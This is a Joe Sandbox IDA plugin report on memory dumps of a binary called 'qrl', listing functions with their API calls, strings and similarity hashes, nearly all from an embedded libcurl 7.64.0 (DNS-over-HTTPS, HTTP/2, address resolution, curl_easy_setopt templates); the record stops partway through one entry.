Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$memcpystrchr
String ID: %s?dns=%s$Failed to encode DOH packet [%d]
API String ID: 2999326979-3030351490
Opcode ID: cc322c1a70a8a4864942e1a85a79b2fb3005eb09bd3681a2537d31d8b882f9c3
Instruction ID: 3685269e015e9d373d2e39c7866202dec0ad87686e4e8ea16fff2def6182010c
Opcode Fuzzy Hash: cc322c1a70a8a4864942e1a85a79b2fb3005eb09bd3681a2537d31d8b882f9c3
Instruction Fuzzy Hash: 0F81A9B1904305AFEB12AF14EC46B9B7BE9AF5070CF154438FE489A252FB71D914CB92

Function 0037F8B0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 217COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(:status,?,00000007), ref: 0037FA69

Strings

:status, xrefs: 0037FA64
HTTP/2 , xrefs: 0037FB2E
, xrefs: 0037FB5B
Internal NULL stream! 5, xrefs: 0037F940
%s:%s, xrefs: 0037FA2B

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcmp
String ID: $%s:%s$:status$HTTP/2 $Internal NULL stream! 5
API String ID: 1475443563-2461269821
Opcode ID: 456acf83f128f4ccc981e08242b63f63de6d23a759b8dacb0c4c22bfd3b3d7f9
Instruction ID: 8842123ef33ac83ce38147540463e9dd00f0f656dcfe33a3273f5951cad8243a
Opcode Fuzzy Hash: 456acf83f128f4ccc981e08242b63f63de6d23a759b8dacb0c4c22bfd3b3d7f9
Instruction Fuzzy Hash: 5371E4759403006FEB629A24EC82F6B37E9BB50758F498539FC4C5A2C7F27AD910CB91

Function 0037DC60 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

Part of subcall function 003ACD00: getaddrinfo.WS2_32(?,?,?), ref: 003ACD23
Part of subcall function 003ACD00: freeaddrinfo.WS2_32(?,?,?,?), ref: 003ACE62

WSAGetLastError.WS2_32 ref: 0037DC9C
WSAGetLastError.WS2_32 ref: 0037DCA6
EnterCriticalSection.KERNEL32(?), ref: 0037DCBD
LeaveCriticalSection.KERNEL32(?), ref: 0037DCCF
DeleteCriticalSection.KERNEL32(00000000), ref: 0037DCDC
LeaveCriticalSection.KERNEL32(?), ref: 0037DD86

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: CriticalSection$ErrorLastLeave$DeleteEnterfreeaddrinfogetaddrinfo
String ID:
API String ID: 2133702940-0
Opcode ID: dd302d69be0e14871630620780d279199ad50587342efdbfa22d97611d4f6dcd
Instruction ID: 993d5a42adf63898196ae16794a0457e8f6eb3e89ba5105deb91936139a5ea7a
Opcode Fuzzy Hash: dd302d69be0e14871630620780d279199ad50587342efdbfa22d97611d4f6dcd
Instruction Fuzzy Hash: A4312DF5501A02EBE7119F25DD5DB42BBB5FF04318F048224E4198AA50E7BAE8B8CFD1

Function 00370180 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003701E1
free.MSVCRT ref: 00370211

Strings

slist%d = curl_slist_append(slist%d, "%s");, xrefs: 00370230
struct curl_slist *slist%d;, xrefs: 00370196
slist%d = NULL;, xrefs: 003701B0, 003701F2
curl_slist_free_all(slist%d);, xrefs: 003701C8

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free
String ID: curl_slist_free_all(slist%d);$slist%d = NULL;$slist%d = curl_slist_append(slist%d, "%s");$struct curl_slist *slist%d;
API String ID: 1294909896-250881521
Opcode ID: c69fdb1f312a84c713123848ab6d3cc5863cc58bb30e2b34e55ec5402b1deed4
Instruction ID: 88f8ad5c03bf86165d4ef99cce665ed098dd243cef2f1045f10f9fd53c096724
Opcode Fuzzy Hash: c69fdb1f312a84c713123848ab6d3cc5863cc58bb30e2b34e55ec5402b1deed4
Instruction Fuzzy Hash: 3D1186F5344305AFC33A7AE42C52E73729A8F54398B138039FC5CDA282FA95CE844262

Function 0037D8C0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 00379A20: memchr.MSVCRT ref: 00379A7D

InitializeCriticalSection.KERNEL32(00000000), ref: 0037DA8F

Part of subcall function 0037A740: socket.WS2_32(00000017,00000002,00000000), ref: 0037A751

_errno.MSVCRT ref: 0037DBF5

Part of subcall function 00397140: strlen.MSVCRT ref: 0039718C

Strings

getaddrinfo() thread failed to start, xrefs: 0037DBFD

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: CriticalInitializeSection_errnomemchrsocketstrlen
String ID: getaddrinfo() thread failed to start
API String ID: 812987948-737161664
Opcode ID: 4f8fd52346d037ca5bb5f1f4b2c0201e440a7fbba2f4ecc79769bd3dfbcae244
Instruction ID: fa7bf715861c77b24616434b34c51569ef77ba68d02c10623bd1766b0e73af19
Opcode Fuzzy Hash: 4f8fd52346d037ca5bb5f1f4b2c0201e440a7fbba2f4ecc79769bd3dfbcae244
Instruction Fuzzy Hash: BC912AB4504701AFE311DF24D989B16BBF4FF44308F018528E9898B791D7BAE958CF92

Function 00547860 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 205COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00547898

Strings

0, xrefs: 00547881
OPENSSL_ia32cap, xrefs: 00547891
~, xrefs: 00547A64
~, xrefs: 005478BB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: EnvironmentVariable
String ID: 0$OPENSSL_ia32cap$~$~
API String ID: 1431749950-728030840
Opcode ID: 0c98abd9452fe10f5f3fc65577c842df3fef4781dd2bf88549a40369d4448af4
Instruction ID: 50149a0389acacf5903d360804a65f8288a35778671f9ff5216e41bccaedfcff
Opcode Fuzzy Hash: 0c98abd9452fe10f5f3fc65577c842df3fef4781dd2bf88549a40369d4448af4
Instruction Fuzzy Hash: DD71C2B1A0835A8BD714DF16D8453AABEE5FB88308F054D2DE4C487351E7B98984C792

Function 003710E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 185stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00371286
_strdup.MSVCRT(?), ref: 00371316

Strings

internal error: invalid pattern type (%d), xrefs: 0037133A
%0*lu, xrefs: 003712A5

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupstrlen
String ID: %0*lu$internal error: invalid pattern type (%d)
API String ID: 1960160495-449433499
Opcode ID: cf65eeb338210461a6745a2d2e43620dac9fbd8bc42bcd949aafb763280f9bfa
Instruction ID: 1db6d45f98482ad04e7b1179439eaff622d5d61d32c086f3b9336bc20855a453
Opcode Fuzzy Hash: cf65eeb338210461a6745a2d2e43620dac9fbd8bc42bcd949aafb763280f9bfa
Instruction Fuzzy Hash: E5618E366083418FD726CF5DC480A6AB7E1FF89348F46899CE49D9B652C734ED44CB52

Function 0038DC10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0038DC87
time.MSVCRT(-00000004), ref: 0038DCB7

Strings

%s:%d, xrefs: 0038DC41
@*?u, xrefs: 0038DC5A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlentime
String ID: %s:%d$@*?u
API String ID: 3241370836-2063857264
Opcode ID: 88fead5b7e1f4873b9b2e208cc7035dfe5c7500b467d18fa177ca6ab579ea092
Instruction ID: 8e95de02c94706efa2df360cd281195319348fd93f9d57bbe292fa37f0640682
Opcode Fuzzy Hash: 88fead5b7e1f4873b9b2e208cc7035dfe5c7500b467d18fa177ca6ab579ea092
Instruction Fuzzy Hash: C62127B19003449FE711BB65AC89F6677E8EF41708F090078FD49CA292E36ADD49C3B2

Function 003667AB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003667C1
_strdup.MSVCRT(?), ref: 003667E2
free.MSVCRT ref: 0036697F
_strdup.MSVCRT(?), ref: 0036699C

Strings

a, xrefs: 003667AB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: a
API String ID: 1865132094-3904355907
Opcode ID: cdc8de9500dd490a1b0c50d1c5d776705da7c4ae17eef0a6f11bbb3bc6596b26
Instruction ID: 71f90e8ad2d5a8d45512689fd138d453c0712b33590737d968e10a8da89ea689
Opcode Fuzzy Hash: cdc8de9500dd490a1b0c50d1c5d776705da7c4ae17eef0a6f11bbb3bc6596b26
Instruction Fuzzy Hash: 892181B06042438BDB16DF18C84DB6A77E4BF44388F188678E8999F686DB36DC51C792

Function 0036A404 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036A201

Part of subcall function 0036E510: free.MSVCRT ref: 0036E535
Part of subcall function 0036E510: free.MSVCRT ref: 0036E547
Part of subcall function 0036E510: free.MSVCRT ref: 0036E559
Part of subcall function 0036E510: free.MSVCRT ref: 0036E562

fclose.MSVCRT ref: 0036A233
free.MSVCRT ref: 0036A24C
strcmp.MSVCRT ref: 0036A2A4
fopen.MSVCRT ref: 0036A2B6
_strdup.MSVCRT(?), ref: 0036A438

Part of subcall function 00369DE0: fwrite.MSVCRT ref: 00369E00

Strings

out of memory, xrefs: 0036E3DD

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefopenfwritestrcmp
String ID: out of memory
API String ID: 1610934139-49810860
Opcode ID: af328a8cf20d7e337a04bc8eecbf62c30adbbce742034024ea7d54ef3824ac61
Instruction ID: 962c801f70f1454897db4abe1564cd6ee4f82a97d75569d1476e9dc3a7c9635d
Opcode Fuzzy Hash: af328a8cf20d7e337a04bc8eecbf62c30adbbce742034024ea7d54ef3824ac61
Instruction Fuzzy Hash: CB213BB5A083408FD725DF15D845B5AB7E4BB84304F04882EE98EA7351E771E914CF13

Function 0036F0F0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57COMMON

Download Yara Rule

APIs

_strdup.MSVCRT(curl/7.64.0), ref: 0036F14D

Strings

host, xrefs: 0036F17F
proxy, xrefs: 0036F129
curl/7.64.0, xrefs: 0036F148
out of memory, xrefs: 0036F162

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdup
String ID: curl/7.64.0$host$out of memory$proxy
API String ID: 1169197092-2067908195
Opcode ID: e67409298824b2ca7f31c23fe79cb21c59135be546a3b1e36f4f35e1c672ef14
Instruction ID: 6b6b6b63b0a781893fb8c11f676f4aaf954fdda16dc6d68a73209a9ad0febe99
Opcode Fuzzy Hash: e67409298824b2ca7f31c23fe79cb21c59135be546a3b1e36f4f35e1c672ef14
Instruction Fuzzy Hash: D211867560024ADFEB369F11EC05BDB3AAD9B823D5F068135E8098A285E770CA09C7B1

Function 0038D590 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 153stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0038D5B9
strlen.MSVCRT ref: 0038D72E

Strings

%c%c%c%c, xrefs: 0038D689
%c%c%c=, xrefs: 0038D6FE
%c%c==, xrefs: 0038D6C3

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: %c%c%c%c$%c%c%c=$%c%c==
API String ID: 39653677-3943651191
Opcode ID: 72a32483da8dd3c11159cc61d16f5e918a766e03e96d2cd2f036c9490a35b646
Instruction ID: 305874645f6795d6604ec538a640a3281d7d5d9c5a97ddae63f411ec7edf1de5
Opcode Fuzzy Hash: 72a32483da8dd3c11159cc61d16f5e918a766e03e96d2cd2f036c9490a35b646
Instruction Fuzzy Hash: 0D4147B15087505BE315DF24CCD1A7BBBE5EBC6305F49456DF9898B382E234D901CBA2

Function 0037D720 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 96COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,FFFFFFFF,?,?,00000000,0038DEC4,?), ref: 0037D741
LeaveCriticalSection.KERNEL32(?), ref: 0037D74D

Part of subcall function 0037D4B0: EnterCriticalSection.KERNEL32(?,?,?,?,0037D638), ref: 0037D4C3
Part of subcall function 0037D4B0: LeaveCriticalSection.KERNEL32(?), ref: 0037D4D6
Part of subcall function 0037D4B0: DeleteCriticalSection.KERNEL32(00000000), ref: 0037D4FD

Strings

host, xrefs: 0037D7FF
Could not resolve %s: %s, xrefs: 0037D816
proxy, xrefs: 0037D804, 0037D815

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Delete
String ID: Could not resolve %s: %s$host$proxy
API String ID: 2284602516-2205167006
Opcode ID: 5ce826c3ff0b41c505dece098a7bb2396c3156605c6731101a8eb113485494ad
Instruction ID: a9df7a312f24fccff8a00c5cdb927e9e0263768f4276d63a741667229869a718
Opcode Fuzzy Hash: 5ce826c3ff0b41c505dece098a7bb2396c3156605c6731101a8eb113485494ad
Instruction Fuzzy Hash: D931B475700701AFEB269F64DC84B6AB7B6FF88304F04813CE91E4B251DB7A6815DB91

Function 0036FA00 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0036FAA5

Strings

%s(long)%s%s, xrefs: 0036FA8A
%*s, xrefs: 0036FAB3
curl_easy_setopt(hnd, %s, , xrefs: 0036FA45
%s%ldL);, xrefs: 0036FAD2

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: %*s$%s%ldL);$%s(long)%s%s$curl_easy_setopt(hnd, %s,
API String ID: 39653677-3167448197
Opcode ID: 69078ef38b74fe712f2f31da672f2d9d1778a10874029bb86daa601ca0b73fae
Instruction ID: 329df63b4f25b4317e45b55509230985768a0089c8c9dde7930d7dacb8d99ad4
Opcode Fuzzy Hash: 69078ef38b74fe712f2f31da672f2d9d1778a10874029bb86daa601ca0b73fae
Instruction Fuzzy Hash: F911D875E853106BEB265555EC42E7B379ADF82F58F16402CFD086A286E6019C009BB2

Function 0036FAF0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0036FB95

Strings

%s(long)%s%s, xrefs: 0036FB7A
%s%luUL);, xrefs: 0036FBC2
%*s, xrefs: 0036FBA3
curl_easy_setopt(hnd, %s, , xrefs: 0036FB35

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: %*s$%s%luUL);$%s(long)%s%s$curl_easy_setopt(hnd, %s,
API String ID: 39653677-843713100
Opcode ID: a59c4c7c60662a04a07ee5aaf0d0eba5eb072c5308f7bd897a40a75630b562c7
Instruction ID: 8055f77b34bd56f72f529b3243175cf92c39f5d0f8a57c65f72d10f238924c06
Opcode Fuzzy Hash: a59c4c7c60662a04a07ee5aaf0d0eba5eb072c5308f7bd897a40a75630b562c7
Instruction Fuzzy Hash: 49112776B853002BEB366511FC62E7B369ACFC2F49F06402CFD046B286EA01DC0086B3

Function 0036E8C0 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

realloc.MSVCRT ref: 0036E8F3
fread.MSVCRT ref: 0036E90F
realloc.MSVCRT ref: 0036E938
free.MSVCRT ref: 0036E949
free.MSVCRT ref: 0036E966

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
